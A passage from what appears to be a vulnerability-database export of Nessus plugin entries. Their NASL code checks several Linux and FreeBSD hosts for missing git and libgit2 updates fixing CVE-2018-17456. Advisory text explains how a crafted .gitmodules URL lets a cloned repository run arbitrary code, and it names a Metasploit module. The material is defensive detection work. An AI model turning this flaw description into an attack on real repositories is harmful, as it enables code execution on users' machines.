get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.0)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.0\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-26-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-26-debuginfo-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-debugsource-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-devel-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libgit2-26-32bit-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libgit2-26-32bit-debuginfo-0.26.8-lp150.2.6.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libgit2-26 / libgit2-26-32bit / libgit2-26-32bit-debuginfo / etc\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-02-21T01:44:15", "bulletinFamily": "scanner", "description": "Security Fix(es) :\n\n - git: arbitrary code execution via .gitmodules (CVE-2018-17456)", "modified": "2019-01-09T00:00:00", "id": "SL_20181031_GIT_ON_SL7_X.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=119206", "published": "2018-11-27T00:00:00", "title": "Scientific Linux Security Update : git on SL7.x x86_64", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific Linux.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(119206);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/01/09 12:34:58\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"Scientific Linux Security Update : git on SL7.x x86_64\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security Fix(es) :\n\n - git: arbitrary code execution via .gitmodules\n (CVE-2018-17456)\"\n );\n # https://listserv.fnal.gov/scripts/wa.exe?A2=ind1811&L=scientific-linux-errata&F=&S=&P=2771\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?14c744ea\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/31\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/11/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL7\", reference:\"emacs-git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"emacs-git-el-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-all-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-bzr-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-cvs-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"git-daemon-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"git-debuginfo-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-email-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"git-gnome-keyring-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-gui-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-hg-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-instaweb-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"git-p4-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"git-svn-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"gitk-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"gitweb-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"perl-Git-1.8.3.1-20.el7\")) flag++;\nif (rpm_check(release:\"SL7\", reference:\"perl-Git-SVN-1.8.3.1-20.el7\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-11-01T02:05:20", "bulletinFamily": "scanner", "description": "According to the version of the git packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - git: arbitrary code execution via .gitmodules\n (CVE-2018-17456)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2018-1388.NASL", "href": "https://www.tenable.com/plugins/nessus/119516", "published": "2018-12-10T00:00:00", "title": "EulerOS 2.0 SP3 : git (EulerOS-SA-2018-1388)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(119516);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/06/28 11:31:59\");\n\n script_cve_id(\n \"CVE-2018-17456\"\n );\n\n script_name(english:\"EulerOS 2.0 SP3 : git (EulerOS-SA-2018-1388)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the git packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - git: arbitrary code execution via .gitmodules\n (CVE-2018-17456)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2018-1388\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?7cfe4aed\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/11/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/12/10\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perl-Git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(3)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\n\nflag = 0;\n\npkgs = [\"git-1.8.3.1-20.h1\",\n \"perl-Git-1.8.3.1-20.h1\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"3\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T02:32:09", "bulletinFamily": "scanner", "description": "Upstream security update resolving an issue with `git clone\n--recurse-submodules`.\n\nFrom the [upstream release\nannouncement](https://public-inbox.org/git/xmqqy3bcuy3l.fsf@gitster-ct\n.c.googlers.com/) :\n\n> These releases fix a security flaw (CVE-2018-17456), which allowed\nan > attacker to execute arbitrary code by crafting a malicious\n.gitmodules > file in a project cloned with --recurse-submodules. > >\nWhen running ", "modified": "2019-11-02T00:00:00", "id": "FEDORA_2018-D5139C4FD6.NASL", "href": "https://www.tenable.com/plugins/nessus/118244", "published": "2018-10-22T00:00:00", "title": "Fedora 27 : git (2018-d5139c4fd6)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2018-d5139c4fd6.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118244);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/09/23 11:21:08\");\n\n script_cve_id(\"CVE-2018-17456\");\n script_xref(name:\"FEDORA\", value:\"2018-d5139c4fd6\");\n\n script_name(english:\"Fedora 27 : git (2018-d5139c4fd6)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Upstream security update resolving an issue with `git clone\n--recurse-submodules`.\n\nFrom the [upstream release\nannouncement](https://public-inbox.org/git/xmqqy3bcuy3l.fsf@gitster-ct\n.c.googlers.com/) :\n\n> These releases fix a security flaw (CVE-2018-17456), which allowed\nan > attacker to execute arbitrary code by crafting a malicious\n.gitmodules > file in a project cloned with --recurse-submodules. > >\nWhen running 'git clone --recurse-submodules', Git parses the supplied\n> .gitmodules file for a URL field and blindly passes it as an\nargument > to a 'git clone' subprocess. If the URL field is set to a\nstring that > begins with a dash, this 'git clone' subprocess\ninterprets the URL as > an option. This can lead to executing an\narbitrary script shipped in > the superproject as the user who ran\n'git clone'. > > In addition to fixing the security issue for the user\nrunning 'clone', > the 2.17.2, 2.18.1 and 2.19.1 releases have an\n'fsck' check which can > be used to detect such malicious repository\ncontent when fetching or > accepting a push. See\n'transfer.fsckObjects' in git-config(1). > > Credit for finding and\nfixing this vulnerability goes to joernchen > and Jeff King,\nrespectively.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2018-d5139c4fd6\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:27\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/22\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^27([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 27\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC27\", reference:\"git-2.14.5-1.fc27\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T02:06:13", "bulletinFamily": "scanner", "description": "According to the version of the git packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - git: arbitrary code execution via .gitmodules\n (CVE-2018-17456)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2019-1291.NASL", "href": "https://www.tenable.com/plugins/nessus/124387", "published": "2019-04-30T00:00:00", "title": "EulerOS 2.0 SP5 : git (EulerOS-SA-2019-1291)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124387);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/06/27 13:33:25\");\n\n script_cve_id(\n \"CVE-2018-17456\"\n );\n\n script_name(english:\"EulerOS 2.0 SP5 : git (EulerOS-SA-2019-1291)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the git packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - git: arbitrary code execution via .gitmodules\n (CVE-2018-17456)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1291\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?b70e9579\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/04/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/04/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perl-Git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(5)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP5\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\n\nflag = 0;\n\npkgs = [\"git-1.8.3.1-20.h1.eulerosv2r7\",\n \"perl-Git-1.8.3.1-20.h1.eulerosv2r7\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"5\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T02:39:00", "bulletinFamily": "scanner", "description": "The Git community reports :\n\nMultiple vulnerabilities.", "modified": "2019-11-02T00:00:00", "id": "FREEBSD_PKG_8C08AB4CD06C11E8B35C001B217B3468.NASL", "href": "https://www.tenable.com/plugins/nessus/118124", "published": "2018-10-16T00:00:00", "title": "FreeBSD : Libgit2 -- multiple vulnerabilities (8c08ab4c-d06c-11e8-b35c-001b217b3468)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2019 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118124);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/04/05 23:25:06\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"FreeBSD : Libgit2 -- multiple vulnerabilities (8c08ab4c-d06c-11e8-b35c-001b217b3468)\");\n script_summary(english:\"Checks for updated package in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote FreeBSD host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The Git community reports :\n\nMultiple vulnerabilities.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.27.5\"\n );\n # https://vuxml.freebsd.org/freebsd/8c08ab4c-d06c-11e8-b35c-001b217b3468.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?d2957f5a\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:libgit2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/16\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n 